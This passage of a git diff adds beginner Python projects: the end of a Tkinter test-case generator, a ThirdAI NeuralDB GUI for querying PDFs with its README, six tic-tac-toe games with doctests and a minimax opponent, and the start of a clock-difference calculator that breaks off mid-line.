take_input(self): # Type 9 + try: + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_char_list(1) + self.get_n(2) + self.show_button(3) + + def generate(self): # Type 9 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.a = choices(self.char_lis, k=self.n) + self.output.insert(END, "".join(self.a)) + self.output.insert(END, "\n") + + +class Type10(Case): + def __init__(self, master): + super(Type10, self).__init__(master) + self.forget_home() + self.take_input() + + def take_input(self): # Type 10 + try: + self.try_forget() + except AttributeError: + pass + self.get_t(0) + self.get_n(1) + self.get_k(2) + self.get_m(3) + self.get_a(4) + self.show_button(5) + + def generate(self): # Type 10 + self.output.delete("1.0", END) + self.output.insert(END, self.t) + self.output.insert(END, "\n") + for i in range(self.t): + self.n = randint(self.n_min, self.n_max) + self.k = randint(self.k_min, self.k_max) + self.m = randint(self.m_min, self.m_max) + self.output.insert(END, self.n) + self.output.insert(END, " ") + self.output.insert(END, self.k) + self.output.insert(END, " ") # Type 10 + self.output.insert(END, self.m) + self.output.insert(END, "\n") + self.a = [0] * self.n + for j in range(self.n): + self.a[j] = randint(self.a_min, self.a_max) + self.output.insert(END, self.a) + self.output.insert(END, "\n") + + +if __name__ == "__main__": + gui = Tk() + gui.title("TEST CASE GENERATOR") + gui.configure(bg=mycolor) + + if os.environ.get("DISPLAY", "") == "": + print("no display found, using:0,0") + os.environ.__setitem__("DISPLAY", ":0.0") + else: + print("found display") + + t = IntVar() + n_min = IntVar() + n_max = IntVar() + m_min = IntVar() + m_max = IntVar() + k_min = IntVar() + k_max = IntVar() + a_min = IntVar() + a_max = IntVar() + b_min = IntVar() + b_max = IntVar() + char_lis = StringVar() + + Case.home(self=Case) + + gui.mainloop() + gui.mainloop() + + # ------------------------------------------------- ### + # ------------------------------------------------- ### + # ### Developed by TANMAY KHANDELWAL (aka Dude901). ### + # _________________________________________________ ### + # _________________________________________________ ### diff --git a/ThirdAI/Terms and Conditions/Readme.md b/ThirdAI/Terms and Conditions/Readme.md new file mode 100644 index 00000000000..da9378a8dcb --- /dev/null +++ b/ThirdAI/Terms and Conditions/Readme.md @@ -0,0 +1,81 @@ +# ThirdAIApp and NeuralDBClient + +This repository contains two components: `ThirdAIApp` and `NeuralDBClient`. `ThirdAIApp` is a graphical user interface (GUI) application for interacting with the ThirdAI neural database client. It allows you to perform training with PDF files and query the database. `NeuralDBClient` is a Python class that serves as a client for interacting with the ThirdAI neural database. It allows you to train the database with PDF files and perform queries to retrieve information. + +## ThirdAIApp + +### Features + +- Insert PDF files for training. +- Train the neural database client. +- Enter queries to retrieve information from the database. +- Display the output in a new window. + +### Installation + +To run `ThirdAIApp`, you need to have Python and Tkinter installed. You also need the `ThirdAI` library, which you can install using pip: + +```bash +pip install ThirdAI +``` + +### Usage + +1. Run the `ThirdAIApp.py` script. +2. The main window will appear. +3. Click the "Insert File!" button to select a PDF file for training. +4. Click the "Training" button to train the neural database client with the selected file. +5. Enter your query in the "Query" field. +6. Click the "Processing" button to process the query and display the output in a new window. +7. You can click the "Clear" button to clear the query and file selections. + +### Dependencies + +- Python 3.x +- Tkinter +- ThirdAI + +## NeuralDBClient + +### Features + +- Train the neural database with PDF files. +- Perform queries on the neural database. + +### Installation + +To use `NeuralDBClient`, you need to have the `thirdai` library installed, and you'll need an API key from ThirdAI. + +You can install the `thirdai` library using pip: + +```bash +pip install thirdai +``` + +### Usage + +1. Import the `NeuralDBClient` class from `neural_db_client.py`. +2. Create an instance of the `NeuralDBClient` class, providing your ThirdAI API key as an argument. + + ```python + from neural_db_client import NeuralDBClient + + client = NeuralDBClient(api_key="YOUR_API_KEY") + ``` + +3. Train the neural database with PDF files using the `train` method. Provide a list of file paths to the PDF files you want to use for training. + + ```python + client.train(file_paths=["file1.pdf", "file2.pdf"]) + ``` + +4. Perform queries on the neural database using the `query` method. Provide your query as a string, and the method will return the query results as a string. + + ```python + result = client.query(question="What is the capital of France?") + ``` + +### Dependencies + +- `thirdai` library + diff --git a/ThirdAI/Terms and Conditions/ThirdAI.py b/ThirdAI/Terms and Conditions/ThirdAI.py new file mode 100644 index 00000000000..046b6998c9a --- /dev/null +++ b/ThirdAI/Terms and Conditions/ThirdAI.py @@ -0,0 +1,36 @@ +from thirdai import licensing, neural_db as ndb + + +class NeuralDBClient: + def __init__(self): + # Activating ThirdAI Key + licensing.activate("ADD-YOUR-THIRDAI-ACTIVATION-KEY") + + # Creating NeuralBD variable to access Neural Database + self.db = ndb.NeuralDB(user_id="my_user") + + def train(self, file_paths): + # Retrieving path of file + insertable_docs = [] + pdf_files = file_paths + + # Appending PDF file to the Database stack + pdf_doc = ndb.PDF(pdf_files) + insertable_docs.append(pdf_doc) + + # Inserting/Uploading PDF file to Neural database for training + self.db.insert(insertable_docs, train=True) + + def query(self, question): + # Searching of required query in neural database + search_results = self.db.search( + query=question, + top_k=2, + on_error=lambda error_msg: print(f"Error! {error_msg}"), + ) + + output = "" + for result in search_results: + output += result.text + "\n\n" + + return output diff --git a/ThirdAI/Terms and Conditions/TkinterUI.py b/ThirdAI/Terms and Conditions/TkinterUI.py new file mode 100644 index 00000000000..dd7d0172e74 --- /dev/null +++ b/ThirdAI/Terms and Conditions/TkinterUI.py @@ -0,0 +1,183 @@ +import tkinter as tk +from tkinter.font import Font +from tkinter import messagebox +from tkinter import filedialog +from ThirdAI import NeuralDBClient as Ndb + + +class ThirdAIApp: + """ + A GUI application for using the ThirdAI neural database client to train and query data. + """ + + def __init__(self, root): + """ + Initialize the user interface window. + + Args: + root (tk.Tk): The main Tkinter window. + """ + # Initialize the main window + self.root = root + self.root.geometry("600x500") + self.root.title("ThirdAI - T&C") + + # Initialize variables + self.path = [] + self.client = Ndb() + + # GUI elements + + # Labels and buttons + self.menu = tk.Label( + self.root, + text="Terms & Conditions", + font=self.custom_font(30), + fg="black", + highlightthickness=2, + highlightbackground="red", + ) + self.menu.place(x=125, y=10) + + self.insert_button = tk.Button( + self.root, + text="Insert File!", + font=self.custom_font(15), + fg="black", + bg="grey", + width=10, + command=self.file_input, + ) + self.insert_button.place(x=245, y=100) + + self.text_box = tk.Text(self.root, wrap=tk.WORD, width=30, height=1) + self.text_box.place(x=165, y=150) + + self.training_button = tk.Button( + self.root, + text="Training", + font=self.custom_font(15), + fg="black", + bg="grey", + width=10, + command=self.training, + ) + self.training_button.place(x=245, y=195) + + self.query_label = tk.Label( + self.root, text="Query", font=self.custom_font(20), fg="black" + ) + self.query_label.place(x=255, y=255) + + self.query_entry = tk.Entry(self.root, font=self.custom_font(20), width=30) + self.query_entry.place(x=70, y=300) + + self.processing_button = tk.Button( + self.root, + text="Processing", + font=self.custom_font(15), + fg="black", + bg="grey", + width=10, + command=self.processing, + ) + self.processing_button.place(x=245, y=355) + + self.clear_button = tk.Button( + self.root, + text="Clear", + font=15, + fg="black", + bg="grey", + width=10, + command=self.clear_all, + ) + self.clear_button.place(x=245, y=405) + + @staticmethod + def custom_font(size): + """ + Create a custom font with the specified size. + + Args: + size (int): The font size. + + Returns: + Font: The custom Font object. + """ + return Font(size=size) + + def file_input(self): + """ + Open a file dialog to select a PDF file and display its name in the text box. + """ + file_type = dict(defaultextension=".pdf", filetypes=[("pdf file", "*.pdf")]) + file_path = filedialog.askopenfilename(**file_type) + + if file_path: + self.path.append(file_path) + file_name = file_path.split("/")[-1] + self.text_box.delete(1.0, tk.END) + self.text_box.insert(tk.INSERT, file_name) + + def clear_all(self): + """ + Clear the query entry, text box, and reset the path. + """ + self.query_entry.delete(0, tk.END) + self.text_box.delete(1.0, tk.END) + self.path.clear() + + def training(self): + """ + Train the neural database client with the selected PDF file. + """ + if not self.path: + messagebox.showwarning( + "No File Selected", "Please select a PDF file before training." + ) + return + + self.client.train(self.path[0]) + + messagebox.showinfo("Training Complete", "Training is done!") + + def processing(self): + """ + Process a user query and display the output in a new window. + """ + question = self.query_entry.get() + + # When there is no query submitted by the user + if not question: + messagebox.showwarning("No Query", "Please enter a query.") + return + + output = self.client.query(question) + self.display_output(output) + + def display_output(self, output_data): + """ + Display the output data in a new window. + + Args: + output_data (str): The output text to be displayed. + """ + output_window = tk.Toplevel(self.root) + output_window.title("Output Data") + output_window.geometry("500x500") + + output_text = tk.Text(output_window, wrap=tk.WORD, width=50, height=50) + output_text.pack(padx=10, pady=10) + output_text.insert(tk.END, output_data) + + +if __name__ == "__main__": + """ + Initializing the main application window + """ + + # Calling the main application window + win = tk.Tk() + app = ThirdAIApp(win) + win.mainloop() diff --git a/ThirdAI/Terms and Conditions/XYZ product.pdf b/ThirdAI/Terms and Conditions/XYZ product.pdf new file mode 100644 index 00000000000..8a7484070df Binary files /dev/null and b/ThirdAI/Terms and Conditions/XYZ product.pdf differ diff --git a/Tic-Tac-Toe Games/tic-tac-toe1.py b/Tic-Tac-Toe Games/tic-tac-toe1.py new file mode 100644 index 00000000000..4f87c72b7c6 --- /dev/null +++ b/Tic-Tac-Toe Games/tic-tac-toe1.py @@ -0,0 +1,93 @@ +""" +Text-based Tic-Tac-Toe (2 players). + +>>> check_winner([['X','X','X'],[' ',' ',' '],[' ',' ',' ']], 'X') +True +>>> check_winner([['X','O','X'],['O','O','O'],['X',' ',' ']], 'O') +True +>>> check_winner([['X','O','X'],['O','X','O'],['O','X','O']], 'X') +False +>>> is_full([['X','O','X'],['O','X','O'],['O','X','O']]) +True +>>> is_full([['X',' ','X'],['O','X','O'],['O','X','O']]) +False +""" + +from typing import List + +Board = List[List[str]] + + +def print_board(board: Board) -> None: + """Print the Tic-Tac-Toe board.""" + for row in board: + print(" | ".join(row)) + print("-" * 9) + + +def check_winner(board: Board, player: str) -> bool: + """Return True if `player` has won.""" + for i in range(3): + if all(board[i][j] == player for j in range(3)) or all( + board[j][i] == player for j in range(3) + ): + return True + if all(board[i][i] == player for i in range(3)) or all( + board[i][2 - i] == player for i in range(3) + ): + return True + return False + + +def is_full(board: Board) -> bool: + """Return True if the board is full.""" + return all(cell != " " for row in board for cell in row) + + +def get_valid_input(prompt: str) -> int: + """Get a valid integer input between 0 and 2.""" + while True: + try: + value = int(input(prompt)) + if 0 <= value < 3: + return value + print("Invalid input: Enter a number between 0 and 2.") + except ValueError: + print("Invalid input: Please enter an integer.") + + +def main() -> None: + """Run the text-based Tic-Tac-Toe game.""" + board: Board = [[" " for _ in range(3)] for _ in range(3)] + player = "X" + + while True: + print_board(board) + print(f"Player {player}'s turn:") + + row = get_valid_input("Enter row (0-2): ") + col = get_valid_input("Enter col (0-2): ") + + if board[row][col] == " ": + board[row][col] = player + + if check_winner(board, player): + print_board(board) + print(f"Player {player} wins!") + break + + if is_full(board): + print_board(board) + print("It's a draw!") + break + + player = "O" if player == "X" else "X" + else: + print("Invalid move: Spot taken. Try again.") + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + main() diff --git a/Tic-Tac-Toe Games/tic-tac-toe2.py b/Tic-Tac-Toe Games/tic-tac-toe2.py new file mode 100644 index 00000000000..2aa94574202 --- /dev/null +++ b/Tic-Tac-Toe Games/tic-tac-toe2.py @@ -0,0 +1,131 @@ +""" +Tic-Tac-Toe Console Game + +Two players (X and O) take turns to mark a 3x3 grid until one wins +or the game ends in a draw. + +Doctest Examples: + +>>> test_board = [" "] * 10 +>>> check_position(test_board, 1) +True +>>> test_board[1] = "X" +>>> check_position(test_board, 1) +False +""" + +import os +import time +from typing import List + +# Global Variables +board: List[str] = [" "] * 10 # 1-based indexing +player: int = 1 + +Win: int = 1 +Draw: int = -1 +Running: int = 0 +Game: int = Running + + +def draw_board() -> None: + """Print the current state of the Tic-Tac-Toe board.""" + print(f" {board[1]} | {board[2]} | {board[3]}") + print("___|___|___") + print(f" {board[4]} | {board[5]} | {board[6]}") + print("___|___|___") + print(f" {board[7]} | {board[8]} | {board[9]}") + print(" | | ") + + +def check_position(b: List[str], pos: int) -> bool: + """ + Check if the board position is empty. + + Args: + b (List[str]): Board + pos (int): Position 1-9 + + Returns: + bool: True if empty, False if occupied. + + >>> b = [" "] * 10 + >>> check_position(b, 1) + True + >>> b[1] = "X" + >>> check_position(b, 1) + False + """ + return b[pos] == " " + + +def check_win() -> None: + """Evaluate the board and update the global Game status.""" + global Game + # Winning combinations + combos = [ + (1, 2, 3), + (4, 5, 6), + (7, 8, 9), + (1, 4, 7), + (2, 5, 8), + (3, 6, 9), + (1, 5, 9), + (3, 5, 7), + ] + for a, b, c in combos: + if board[a] == board[b] == board[c] != " ": + Game = Win + return + if all(board[i] != " " for i in range(1, 10)): + Game = Draw + else: + Game = Running + + +def main() -> None: + """Run the Tic-Tac-Toe game in the console.""" + global player + print("Tic-Tac-Toe Game Designed By Sourabh Somani") + print("Player 1 [X] --- Player 2 [O]\n\nPlease Wait...") + time.sleep(2) + + while Game == Running: + os.system("cls" if os.name == "nt" else "clear") + draw_board() + mark = "X" if player % 2 != 0 else "O" + print(f"Player {1 if mark == 'X' else 2}'s chance") + try: + choice = int(input("Enter position [1-9] to mark: ")) + except ValueError: + print("Invalid input! Enter an integer between 1-9.") + time.sleep(2) + continue + + if choice < 1 or choice > 9: + print("Invalid position! Choose between 1-9.") + time.sleep(2) + continue + + if check_position(board, choice): + board[choice] = mark + player += 1 + check_win() + else: + print("Position already taken! Try another.") + time.sleep(2) + + os.system("cls" if os.name == "nt" else "clear") + draw_board() + if Game == Draw: + print("Game Draw") + elif Game == Win: + player_won = 1 if (player - 1) % 2 != 0 else 2 + print(f"Player {player_won} Won!") + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + main() diff --git a/Tic-Tac-Toe Games/tic-tac-toe3.py b/Tic-Tac-Toe Games/tic-tac-toe3.py new file mode 100644 index 00000000000..92c60d494e6 --- /dev/null +++ b/Tic-Tac-Toe Games/tic-tac-toe3.py @@ -0,0 +1,143 @@ +""" +Tic-Tac-Toe with AI (Minimax) using CustomTkinter. + +Player = "X", AI = "O". Click a button to play. + +>>> check_winner([['X','X','X'],[' ',' ',' '],[' ',' ',' ']], 'X') +True +>>> check_winner([['X','O','X'],['O','O','O'],['X',' ',' ']], 'O') +True +>>> check_winner([['X','O','X'],['O','X','O'],['O','X','O']], 'X') +False +""" + +from typing import List, Optional, Tuple +import customtkinter as ctk +from tkinter import messagebox + +Board = List[List[str]] + + +def check_winner(board: Board, player: str) -> bool: + """Check if `player` has a winning line on `board`.""" + for i in range(3): + if all(board[i][j] == player for j in range(3)) or all( + board[j][i] == player for j in range(3) + ): + return True + if all(board[i][i] == player for i in range(3)) or all( + board[i][2 - i] == player for i in range(3) + ): + return True + return False + + +def is_board_full(board: Board) -> bool: + """Return True if all cells are filled.""" + return all(all(cell != " " for cell in row) for row in board) + + +def minimax(board: Board, depth: int, is_max: bool) -> int: + """Minimax algorithm for AI evaluation.""" + if check_winner(board, "X"): + return -1 + if check_winner(board, "O"): + return 1 + if is_board_full(board): + return 0 + + if is_max: + val = float("-inf") + for i in range(3): + for j in range(3): + if board[i][j] == " ": + board[i][j] = "O" + val = max(val, minimax(board, depth + 1, False)) + board[i][j] = " " + return val + else: + val = float("inf") + for i in range(3): + for j in range(3): + if board[i][j] == " ": + board[i][j] = "X" + val = min(val, minimax(board, depth + 1, True)) + board[i][j] = " " + return val + + +def best_move(board: Board) -> Optional[Tuple[int, int]]: + """Return best move for AI.""" + best_val = float("-inf") + move: Optional[Tuple[int, int]] = None + for i in range(3): + for j in range(3): + if board[i][j] == " ": + board[i][j] = "O" + val = minimax(board, 0, False) + board[i][j] = " " + if val > best_val: + best_val = val + move = (i, j) + return move + + +def make_move(row: int, col: int) -> None: + """Human move and AI response.""" + if board[row][col] != " ": + messagebox.showerror("Error", "Invalid move") + return + board[row][col] = "X" + buttons[row][col].configure(text="X") + if check_winner(board, "X"): + messagebox.showinfo("Tic-Tac-Toe", "You win!") + root.quit() + elif is_board_full(board): + messagebox.showinfo("Tic-Tac-Toe", "Draw!") + root.quit() + else: + ai_move() + + +def ai_move() -> None: + """AI makes a move.""" + move = best_move(board) + if move is None: + return + r, c = move + board[r][c] = "O" + buttons[r][c].configure(text="O") + if check_winner(board, "O"): + messagebox.showinfo("Tic-Tac-Toe", "AI wins!") + root.quit() + elif is_board_full(board): + messagebox.showinfo("Tic-Tac-Toe", "Draw!") + root.quit() + + +# --- Initialize GUI --- +root = ctk.CTk() +root.title("Tic-Tac-Toe") +board: Board = [[" "] * 3 for _ in range(3)] +buttons: List[List[ctk.CTkButton]] = [] + +for i in range(3): + row_buttons: List[ctk.CTkButton] = [] + for j in range(3): + btn = ctk.CTkButton( + root, + text=" ", + font=("normal", 30), + width=100, + height=100, + command=lambda r=i, c=j: make_move(r, c), + ) + btn.grid(row=i, column=j, padx=2, pady=2) + row_buttons.append(btn) + buttons.append(row_buttons) + +if __name__ == "__main__": + import doctest + + doctest.testmod() + root.mainloop() diff --git a/Tic-Tac-Toe Games/tic-tac-toe4.py b/Tic-Tac-Toe Games/tic-tac-toe4.py new file mode 100644 index 00000000000..0b182ff6dcb --- /dev/null +++ b/Tic-Tac-Toe Games/tic-tac-toe4.py @@ -0,0 +1,110 @@ +""" +Tic-Tac-Toe Game using NumPy and random moves. + +Two players (1 and 2) randomly take turns until one wins or board is full. + +Doctests: + +>>> b = create_board() +>>> all(b.flatten() == 0) +True +>>> len(possibilities(b)) +9 +>>> row_win(np.array([[1,1,1],[0,0,0],[0,0,0]]), 1) +True +>>> col_win(np.array([[2,0,0],[2,0,0],[2,0,0]]), 2) +True +>>> diag_win(np.array([[1,0,0],[0,1,0],[0,0,1]]), 1) +True +>>> evaluate(np.array([[1,1,1],[0,0,0],[0,0,0]])) +1 +>>> evaluate(np.array([[1,2,1],[2,1,2],[2,1,2]])) +-1 +""" + +import numpy as np +import random +from time import sleep +from typing import List, Tuple + + +def create_board() -> np.ndarray: + """Return an empty 3x3 Tic-Tac-Toe board.""" + return np.zeros((3, 3), dtype=int) + + +def possibilities(board: np.ndarray) -> List[Tuple[int, int]]: + """Return list of empty positions on the board.""" + return [(i, j) for i in range(3) for j in range(3) if board[i, j] == 0] + + +def random_place(board: np.ndarray, player: int) -> np.ndarray: + """Place player number randomly on an empty position.""" + selection = possibilities(board) + current_loc = random.choice(selection) + board[current_loc] = player + return board + + +def row_win(board: np.ndarray, player: int) -> bool: + """Check if player has a complete row.""" + return any(all(board[x, y] == player for y in range(3)) for x in range(3)) + + +def col_win(board: np.ndarray, player: int) -> bool: + """Check if player has a complete column.""" + return any(all(board[y, x] == player for y in range(3)) for x in range(3)) + + +def diag_win(board: np.ndarray, player: int) -> bool: + """Check if player has a complete diagonal.""" + if all(board[i, i] == player for i in range(3)): + return True + if all(board[i, 2 - i] == player for i in range(3)): + return True + return False + + +def evaluate(board: np.ndarray) -> int: + """ + Evaluate the board. + + Returns: + 0 if no winner yet, + 1 or 2 for the winner, + -1 if tie. + """ + for player in [1, 2]: + if row_win(board, player) or col_win(board, player) or diag_win(board, player): + return player + if np.all(board != 0): + return -1 + return 0 + + +def play_game() -> int: + """Play a full random Tic-Tac-Toe game and return the winner.""" + board, winner, counter = create_board(), 0, 1 + print("Initial board:\n", board) + sleep(1) + while winner == 0: + for player in [1, 2]: + board = random_place(board, player) + print(f"\nBoard after move {counter} by Player {player}:\n{board}") + sleep(1) + counter += 1 + winner = evaluate(board) + if winner != 0: + break + return winner + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + winner = play_game() + if winner == -1: + print("\nThe game is a tie!") + else: + print(f"\nWinner is: Player {winner}") diff --git a/Tic-Tac-Toe Games/tic-tac-toe5.py b/Tic-Tac-Toe Games/tic-tac-toe5.py new file mode 100644 index 00000000000..eef30bca1a7 --- /dev/null +++ b/Tic-Tac-Toe Games/tic-tac-toe5.py @@ -0,0 +1,223 @@ +""" +Tic-Tac-Toe Game with Full Type Hints and Doctests. + +Two-player game where Player and Computer take turns. +Player chooses X or O and Computer takes the opposite. + +Doctests examples: + +>>> is_winner([' ', 'X','X','X',' ',' ',' ',' ',' ',' '], 'X') +True +>>> is_space_free([' ', 'X',' ',' ',' ',' ',' ',' ',' ',' '], 1) +False +>>> is_space_free([' ']*10, 5) +True +>>> choose_random_move_from_list([' ']*10, [1,2,3]) in [1,2,3] +True +""" + +import random +from typing import List, Optional, Tuple + + +def introduction() -> None: + """Print game introduction.""" + print("Welcome to Tic Tac Toe!") + print("Player is X, Computer is O.") + print("Board positions 1-9 (bottom-left to top-right).") + + +def draw_board(board: List[str]) -> None: + """Display the current board.""" + print(" | |") + print(f" {board[7]} | {board[8]} | {board[9]}") + print(" | |") + print("-------------") + print(" | |") + print(f" {board[4]} | {board[5]} | {board[6]}") + print(" | |") + print("-------------") + print(" | |") + print(f" {board[1]} | {board[2]} | {board[3]}") + print(" | |") + + +def input_player_letter() -> Tuple[str, str]: + """ + Let player choose X or O. + Returns tuple (player_letter, computer_letter). + """ + letter: str = "" + while letter not in ("X", "O"): + print("Do you want to be X or O? ") + letter = input("> ").upper() + return ("X", "O") if letter == "X" else ("O", "X") + + +def first_player() -> str: + """Randomly decide who goes first.""" + return "Computer" if random.randint(0, 1) == 0 else "Player" + + +def play_again() -> bool: + """Ask the player if they want to play again.""" + print("Do you want to play again? (y/n)") + return input().lower().startswith("y") + + +def make_move(board: List[str], letter: str, move: int) -> None: + """Place the letter on the board at the given position.""" + board[move] = letter + + +def is_winner(board: List[str], le: str) -> bool: + """ + Return True if the given letter has won the game. + + >>> is_winner([' ', 'X','X','X',' ',' ',' ',' ',' ',' '], 'X') + True + >>> is_winner([' ']*10, 'O') + False + """ + return ( + (board[7] == le and board[8] == le and board[9] == le) + or (board[4] == le and board[5] == le and board[6] == le) + or (board[1] == le and board[2] == le and board[3] == le) + or (board[7] == le and board[4] == le and board[1] == le) + or (board[8] == le and board[5] == le and board[2] == le) + or (board[9] == le and board[6] == le and board[3] == le) + or (board[7] == le and board[5] == le and board[3] == le) + or (board[9] == le and board[5] == le and board[1] == le) + ) + + +def get_board_copy(board: List[str]) -> List[str]: + """Return a copy of the board.""" + return [b for b in board] + + +def is_space_free(board: List[str], move: int) -> bool: + """ + Return True if a position on the board is free. + + >>> is_space_free([' ', 'X',' ',' ',' ',' ',' ',' ',' ',' '], 1) + False + >>> is_space_free([' ']*10, 5) + True + """ + return board[move] == " " + + +def get_player_move(board: List[str]) -> int: + """Get the player's next valid move.""" + move: str = " " + while move not in "1 2 3 4 5 6 7 8 9".split() or not is_space_free( + board, int(move) + ): + print("What is your next move? (1-9)") + move = input() + return int(move) + + +def choose_random_move_from_list( + board: List[str], moves_list: List[int] +) -> Optional[int]: + """ + Return a valid move from a list randomly. + + >>> choose_random_move_from_list([' ']*10, [1,2,3]) in [1,2,3] + True + >>> choose_random_move_from_list(['X']*10, [1,2,3]) + """ + possible_moves = [i for i in moves_list if is_space_free(board, i)] + return random.choice(possible_moves) if possible_moves else None + + +def get_computer_move(board: List[str], computer_letter: str) -> int: + """Return the computer's best move.""" + player_letter = "O" if computer_letter == "X" else "X" + + # Try to win + for i in range(1, 10): + copy = get_board_copy(board) + if is_space_free(copy, i): + make_move(copy, computer_letter, i) + if is_winner(copy, computer_letter): + return i + + # Block player's winning move + for i in range(1, 10): + copy = get_board_copy(board) + if is_space_free(copy, i): + make_move(copy, player_letter, i) + if is_winner(copy, player_letter): + return i + + # Try corners + move = choose_random_move_from_list(board, [1, 3, 7, 9]) + if move is not None: + return move + + # Take center + if is_space_free(board, 5): + return 5 + + # Try sides + return choose_random_move_from_list(board, [2, 4, 6, 8]) # type: ignore + + +def is_board_full(board: List[str]) -> bool: + """Return True if the board has no free spaces.""" + return all(not is_space_free(board, i) for i in range(1, 10)) + + +def main() -> None: + """Main game loop.""" + introduction() + while True: + the_board: List[str] = [" "] * 10 + player_letter, computer_letter = input_player_letter() + turn = first_player() + print(f"{turn} goes first.") + game_is_playing = True + + while game_is_playing: + if turn.lower() == "player": + draw_board(the_board) + move = get_player_move(the_board) + make_move(the_board, player_letter, move) + + if is_winner(the_board, player_letter): + draw_board(the_board) + print("Hooray! You have won the game!") + game_is_playing = False + elif is_board_full(the_board): + draw_board(the_board) + print("The game is a tie!") + break + else: + turn = "computer" + else: + move = get_computer_move(the_board, computer_letter) + make_move(the_board, computer_letter, move) + + if is_winner(the_board, computer_letter): + draw_board(the_board) + print("Computer has won. You Lose.") + game_is_playing = False + elif is_board_full(the_board): + draw_board(the_board) + print("The game is a tie!") + break + else: + turn = "player" + + if not play_again(): + break + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + main() diff --git a/Tic-Tac-Toe Games/tic-tac-toe6.py b/Tic-Tac-Toe Games/tic-tac-toe6.py new file mode 100644 index 00000000000..294f6fa0a17 --- /dev/null +++ b/Tic-Tac-Toe Games/tic-tac-toe6.py @@ -0,0 +1,182 @@ +""" +Tic-Tac-Toe Series Game + +Two players can play multiple rounds of Tic-Tac-Toe. +Keeps score across rounds until players quit. + +Doctest examples: + +>>> check_win({"X": [1, 2, 3], "O": []}, "X") +True +>>> check_win({"X": [1, 2], "O": []}, "X") +False +>>> check_draw({"X": [1, 2, 3], "O": [4, 5, 6]}) +False +>>> check_draw({"X": [1, 2, 3, 4, 5], "O": [6, 7, 8, 9]}) +True +""" + +from typing import List, Dict + + +def print_tic_tac_toe(values: List[str]) -> None: + """Print the current Tic-Tac-Toe board.""" + print("\n") + print("\t | |") + print("\t {} | {} | {}".format(values[0], values[1], values[2])) + print("\t_____|_____|_____") + print("\t | |") + print("\t {} | {} | {}".format(values[3], values[4], values[5])) + print("\t_____|_____|_____") + print("\t | |") + print("\t {} | {} | {}".format(values[6], values[7], values[8])) + print("\t | |") + print("\n") + + +def print_scoreboard(score_board: Dict[str, int]) -> None: + """Print the current score-board.""" + print("\t--------------------------------") + print("\t SCOREBOARD ") + print("\t--------------------------------") + players = list(score_board.keys()) + print(f"\t {players[0]} \t {score_board[players[0]]}") + print(f"\t {players[1]} \t {score_board[players[1]]}") + print("\t--------------------------------\n") + + +def check_win(player_pos: Dict[str, List[int]], cur_player: str) -> bool: + """ + Check if the current player has won. + + Args: + player_pos: Dict of player positions (X and O) + cur_player: Current player ("X" or "O") + + Returns: + True if player wins, False otherwise + + >>> check_win({"X": [1,2,3], "O": []}, "X") + True + >>> check_win({"X": [1,2], "O": []}, "X") + False + """ + soln = [ + [1, 2, 3], + [4, 5, 6], + [7, 8, 9], # Rows + [1, 4, 7], + [2, 5, 8], + [3, 6, 9], # Columns + [1, 5, 9], + [3, 5, 7], # Diagonals + ] + return any(all(pos in player_pos[cur_player] for pos in combo) for combo in soln) + + +def check_draw(player_pos: Dict[str, List[int]]) -> bool: + """ + Check if the game is drawn (all positions filled). + + Args: + player_pos: Dict of player positions (X and O) + + Returns: + True if game is a draw, False otherwise + + >>> check_draw({"X": [1,2,3], "O": [4,5,6]}) + False + >>> check_draw({"X": [1,2,3,4,5], "O": [6,7,8,9]}) + True + """ + return len(player_pos["X"]) + len(player_pos["O"]) == 9 + + +def single_game(cur_player: str) -> str: + """Run a single game of Tic-Tac-Toe.""" + values: List[str] = [" " for _ in range(9)] + player_pos: Dict[str, List[int]] = {"X": [], "O": []} + + while True: + print_tic_tac_toe(values) + try: + move = int(input(f"Player {cur_player} turn. Which box? : ")) + except ValueError: + print("Wrong Input!!! Try Again") + continue + if move < 1 or move > 9: + print("Wrong Input!!! Try Again") + continue + if values[move - 1] != " ": + print("Place already filled. Try again!!") + continue + + # Update board + values[move - 1] = cur_player + player_pos[cur_player].append(move) + + if check_win(player_pos, cur_player): + print_tic_tac_toe(values) + print(f"Player {cur_player} has won the game!!\n") + return cur_player + + if check_draw(player_pos): + print_tic_tac_toe(values) + print("Game Drawn\n") + return "D" + + cur_player = "O" if cur_player == "X" else "X" + + +def main() -> None: + """Run a series of Tic-Tac-Toe games.""" + player1 = input("Player 1, Enter the name: ") + player2 = input("Player 2, Enter the name: ") + cur_player = player1 + + player_choice: Dict[str, str] = {"X": "", "O": ""} + options: List[str] = ["X", "O"] + score_board: Dict[str, int] = {player1: 0, player2: 0} + + print_scoreboard(score_board) + + while True: + print(f"Turn to choose for {cur_player}") + print("Enter 1 for X") + print("Enter 2 for O") + print("Enter 3 to Quit") + + try: + choice = int(input()) + except ValueError: + print("Wrong Input!!! Try Again\n") + continue + + if choice == 1: + player_choice["X"] = cur_player + player_choice["O"] = player2 if cur_player == player1 else player1 + elif choice == 2: + player_choice["O"] = cur_player + player_choice["X"] = player2 if cur_player == player1 else player1 + elif choice == 3: + print("Final Scores") + print_scoreboard(score_board) + break + else: + print("Wrong Choice!!!! Try Again\n") + continue + + winner = single_game(options[choice - 1]) + + if winner != "D": + score_board[player_choice[winner]] += 1 + + print_scoreboard(score_board) + cur_player = player2 if cur_player == player1 else player1 + + +if __name__ == "__main__": + import doctest + + doctest.testmod() + main() diff --git a/Timetable_Operations.py b/Timetable_Operations.py new file mode 100644 index 00000000000..630ef597417 --- /dev/null +++ b/Timetable_Operations.py @@ -0,0 +1,72 @@ +""" +Tkinter Clock Difference Calculator. + +Compute difference between two times (HH:MM:SS) with midnight wrap-around. + +Doctests: + +>>> clock_diff("12:00:00", "14:30:15") +'02:30:15' +>>> clock_diff("23:50:00", "00:15:30") +'00:25:30' +>>> clock_diff("00:00:00", "00:00:00") +'00:00:00' +""" + +import tkinter as tk +from tkinter import messagebox + + +def clock_diff(t1: str, t2: str) -> str: + """Return difference between t1 and t2 as HH:MM:SS (zero-padded).""" + h1, m1, s1 = int(t1[0:2]), int(t1[3:5]), int(t1[6:8]) + h2, m2, s2 = int(t2[0:2]), int(t2[3:5]), int(t2[6:8]) + sec1 = h1 * 3600 + m1 * 60 + s1 + sec2 = h2 * 3600 + m2 * 60 + s2 + diff = sec2 - sec1 + if diff 